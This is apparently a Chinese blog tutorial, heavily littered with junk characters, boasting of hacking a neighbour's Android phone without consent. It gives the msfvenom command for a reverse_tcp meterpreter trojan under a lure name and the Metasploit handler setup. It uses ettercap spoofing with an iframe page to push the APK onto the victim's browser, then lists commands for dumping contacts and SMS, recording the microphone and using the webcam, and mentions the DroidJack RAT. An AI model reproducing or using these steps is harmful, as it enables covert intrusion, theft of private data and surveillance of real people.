metasploit+ettercap中间人攻击成功入侵邻居手机

admin

1 Z' X4 m& h( ?0 G; \* P9 N8 ~ 五、msf+ettercap入侵邻居安卓手机

首先启动msf . g% {' y" D: }. l! y5 F" Q3 k

" A2 v4 C. j8 h" Z& v

先用kali生成一个安卓木马，如下命令： 8 d1 c2 m% l6 X1 L9 m6 m, T2 R

" j* t% X5 y F |, {9 f7 J# Y7 i Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk

8 O& ?2 k; q' s) }# y: o

为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 5 H) K' I4 S i/ }1 t& `

i; ^7 ]+ d$ V

然后进入msf 9 I3 y: v/ s& i" r* K

9 W4 u$ O/ m; d4 x use exploit/multi/handler 8 H) M. T. _9 k

9 {' F* E" Q/ Z3 q. r( P4 v set payload android/meterpreter/reverse_tcp

7 V6 @: J5 \# _4 ` set LHOST 192.168.0.109 //ip为kaili的ip 1 P7 d( k4 U# ]5 n2 S

1 U/ b+ u. p: m; O% n" E9 I2 m5 y" H set LPORT 44444 //端口一定要与前面生成的木马的端口一致 2 m# _. n9 f1 w* X" I1 @

' w' R' ^" f4 b& o { Exploit % d/ [- C s0 f) C' t, O7 d" @+ ~

  . M; B: q' p* J) `( Z: W* y

- i4 X& y, N i6 c8 R, ]$ D

. ?7 [& i9 H/ n' G( J 下面我们开启ettercap -G

Y6 |0 J7 g4 Y* p" l, z 我物理IP为 ' b" }3 S9 A4 q. ? P

 

/ Z. d6 a. C( J0 [% \0 g$ }4 g3 G% t

别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，

% K9 D, }$ Y7 G 下面我们来设置一下 / S: g2 J8 `; q! o$ l* B

6 \4 p9 K( W7 Z7 d* Z0 o1 v1 Y, P$ j

4 Q& J+ G. T) x& m: O4 s* B  

$ m' e* D. F& ?) z/ N3 A, t

4 e1 Y* C' G4 g _- x4 O- E 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，

  8 h% o8 l' [. G& }

 

5 p! f- Q, [/ h

  ) e: Z7 s6 T3 r4 [4 ` D8 z0 k( k

& g/ n- a2 S# i2 }1 ^0 V! d" n

. \4 I+ Z: D- O6 v' ~* c& O$ R- w" {  

+ |" P9 W4 i" S- d5 z

  + i# ], b5 M* e3 e$ I

 

. ?! r: i/ ]. j1 n   & F) \) Q3 d0 a' Z

! Q! F3 O( G3 }+ v- m' F- j# i   + ?4 J6 k5 ~5 ^* n; u9 U

4 W) e5 G6 ]: N, X. h   9 u9 u: _) u }" Q1 h

  l: [" h8 b& ^ b

3 m7 M* h. H4 Q

; ?6 H7 h; k1 {* T  

+ S5 M2 q% j( @. Y

j" I }# K* J, C  

 

' H7 _0 T0 e V+ B! K: W

1 P* Y9 U' ]. |( }+ \ K) ` 下面我们开始攻击

9 e! ~( P' i1 M2 O   8 M% j' h* R# `: @# G, u: e0 X

+ G. c+ t' b0 W Q+ j  

9 z7 w8 X- f& U) X4 a6 R0 `   2 k: R4 \: |4 E3 u* {0 O

4 A. K- U9 g+ F   6 D* Q5 F/ @ L( Y

+ R! q+ n& m% x/ F7 g$ S% N  

: h% \& {) A g/ m/ L: ?% c 大概过了5分钟多，发现反弹成功了 * k( F& Z0 B# f$ q) c+ A/ q

, t! A# L$ F) K- J$ i

8 y+ l z4 w( A, S+ D0 M   ; t- y( m3 T) ~ t2 [6 o: ]( R

8 l3 y( S1 l9 A* [# z5 k' x

( I9 Y3 U5 M5 v: J   5 {, W& s2 _, w6 A8 Z5 i( f6 E n

) U3 E* \5 N( I- \) k% @4 m

  / z* u& E. W, Z) s2 \. p9 L

  % i* ?' ?( Y. _3 P# m2 z7 p

  8 [$ l) [8 u, @( M1 W2 h3 V+ t: F5 W

 

0 l' I$ a2 }. @4 @) r# j' p  

7 {; K( N1 `8 ^! T+ b

9 i. M# S( A1 c; F% y7 t; H& k 执行命令 5 e+ V2 {4 Y1 b/ S* L

7 O- d+ S5 r+ Z. f( z  

; u8 {) K a1 {

dump_contacts    --》这个是导出电话 7 S" H4 O% f# ]! }

4 D! M1 H! h9 T# |# j+ c8 ~* O dump_sms --》这个是导出信息

/ d* `) @; C, |4 ~ record_mic     Record audio from the default microphone for X seconds

8 a% v# m( }5 ~/ B( `

! `- A. I- }; Q; `1 P, A     webcam_chat    Start a video chat

    webcam_list    List webcams / Z& c$ D# i. Q6 V9 Q

    webcam_snap    Take a snapshot from the specified webcam

webcam_stream  lay a video stream from the specified webcam ) ?1 c$ M: {! ~+ c- q

  ) G; @3 g8 t, V7 k9 p/ D

. m3 e. l$ K: Z7 R; V" _5 f

T* e9 a- ~( e+ j! Q   1 j* b2 `% n& [# u; y8 w) {

6 K5 }6 a2 K+ R4 S) O" ~, c

2 }: y8 i+ }' C/ r1 i2 o 我们打开看一下电话薄， ) ?: j! Y3 g: W/ {

: @& {3 a4 }" v' s+ H8 i$ M$ r

& Z; e8 U( U8 F5 i2 R- ^  

9 @! X% ]4 \& Q$ {- F9 N A0 r   : e! j3 g* W( r5 C+ D

* J! E8 n. m- N: e& v4 G; P9 Z  

2 v: t% ^ {# [6 L5 n8 M6 E. p

R7 k) Z+ U; ^4 h- l; L0 w8 w   3 s/ i j$ W; L$ P% ` M4 `2 Z o

" y% N2 V3 p% K) W6 K# J6 U

 

$ L$ o' a/ Z8 ]# i& b# u

 

- j% m2 Q9 h8 E4 }( m 我们同时欺骗成DroidJack木马，使用方法如图： 2 X- w. k. H5 Q6 Y

  9 y" n& \. z9 {8 m

+ Z( C% w* W7 g9 a) d

1 C+ p; \1 `% z6 u3 }, f5 p$ ] I1 i' y  

' U( w. G& i6 l. i) K0 d  

2 b) l, ]2 z, x q6 @6 P

切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 % N. h; Z/ d# q G0 q( \

 

3 ?0 \( D" G% e# I: w  

4 Q! o9 p8 I* V/ m

  + V' y3 G j7 E! i6 J7 B8 @

! }" [6 w6 ?+ l6 r+ Z* V0 q% h

/ e& h3 t/ T, S' C/ K8 y% s ~

f% `, d) K, B: q9 g% b: u. n